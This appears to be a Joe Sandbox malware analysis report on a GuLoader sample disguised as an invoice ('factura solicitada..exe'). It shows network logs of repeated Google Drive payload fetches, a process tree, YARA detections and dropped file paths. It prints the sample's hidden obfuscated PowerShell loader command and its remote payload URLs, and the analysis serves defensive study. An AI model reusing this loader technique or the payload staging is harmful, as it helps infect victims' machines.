2025-02-19 19:38:21 UTC	111	IN	Data Raw: 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ts an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.11	50041	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:38:22 UTC	421	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:38:22 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:38:22 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-X2QGh9VV7zrJqbF_tv7oCw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.11	50042	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:38:23 UTC	463	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:38:23 UTC	1534	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iHonrKiBqPD2GsOagsPao0eb8hYzskgZCgD2xZ--tcPvrKjiZwCswdb_dp_BHyXY77Z Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:38:23 GMT Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-W1jofaxHPsOJntEp7xyH0Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:38:23 UTC	1534	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6c 6a 64 47 5a 6d 30 45 64 36 79 6f 36 30 4f 43 51 59 37 7a 72 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ljdGZm0Ed6yo60OCQY7zrg">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-02-19 19:38:23 UTC	118	IN	Data Raw: 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.11	50043	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:38:24 UTC	421	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:38:24 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:38:24 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-NPAosadNzgb4BJ7mkLPmQQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.11	50044	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:38:25 UTC	463	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:38:26 UTC	1541	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iES86XIfqQSUKFk9teD7SijM_TCDdcw_QfyX-WPsL37pDKvEaUIcgztyNqeVVDmvTcXXbyPGf0 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:38:25 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-mmTxd7gq10AmVzAVFjG3Bw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:38:26 UTC	1541	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 35 4f 62 75 79 4b 66 51 74 61 6d 4a 6c 55 6b 6e 6c 42 49 79 6d 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="5ObuyKfQtamJlUknlBIymA">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-02-19 19:38:26 UTC	111	IN	Data Raw: 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ts an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.11	50045	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:38:26 UTC	421	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:38:27 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:38:27 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-BPtmd32byqTK6OMZj5bYag' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.11	50046	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:38:27 UTC	463	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:38:28 UTC	1534	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iEanm-qonvwIO_ySY0KE7dY4kbjtwEB5P0L0d8QIEXW57Nqn2pGIASa5GCbbTciHSlL Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:38:28 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-G6pfMYicfGZXPHtl30fYYQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:38:28 UTC	1534	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 54 51 33 68 76 71 70 5a 70 74 42 42 47 6c 41 63 4a 48 48 51 69 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="TQ3hvqpZptBBGlAcJHHQiw">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-02-19 19:38:28 UTC	118	IN	Data Raw: 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Target ID:	0
Start time:	14:36:22
Start date:	19/02/2025
Path:	C:\Users\user\Desktop\factura solicitada..exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\factura solicitada..exe"
Imagebase:	0x400000
File size:	505'618 bytes
MD5 hash:	6124034FE55707E3EC7A9940B36A2640
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:36:24
Start date:	19/02/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell.exe -windowstyle hidden "$Trafikerer=Get-Content -Raw 'C:\Users\user\AppData\Local\unproselyte\besparelses\Concludence.Cha';$Superego=$Trafikerer.SubString(52777,3);.$Superego($Trafikerer) "
Imagebase:	0x160000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000002.00000002.1679281555.000000000AFA3000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:36:24
Start date:	19/02/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:36:59
Start date:	19/02/2025
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\msiexec.exe"
Imagebase:	0x510000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000005.00000002.2548130895.0000000006223000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report factura solicitada..exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_12csnot1.4ag.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2aoy22rj.g00.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sbnjokug.edv.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xdpetzbj.kqx.ps1

C:\Users\user\AppData\Local\unproselyte\besparelses\Chemiotaxic\Tautochronism.txt

C:\Users\user\AppData\Local\unproselyte\besparelses\Chemiotaxic\Ulykkesbilernes214.ove

C:\Users\user\AppData\Local\unproselyte\besparelses\Chemiotaxic\emissionsspektrummerne.tra

C:\Users\user\AppData\Local\unproselyte\besparelses\Concludence.Cha

C:\Users\user\AppData\Local\unproselyte\besparelses\Detentionens.txt

C:\Users\user\AppData\Local\unproselyte\besparelses\Ovolytic\factura solicitada..exe

C:\Users\user\AppData\Local\unproselyte\besparelses\Ovolytic\factura solicitada..exe:Zone.Identifier

C:\Users\user\AppData\Local\unproselyte\besparelses\Ovolytic\systemisable.bla

C:\Users\user\AppData\Local\unproselyte\besparelses\Ovolytic\undertavlers.txt

C:\Users\user\AppData\Local\unproselyte\besparelses\baisse.Nen

Static File Info

General

File Icon

Static PE Info

Windows Analysis Report
factura solicitada..exe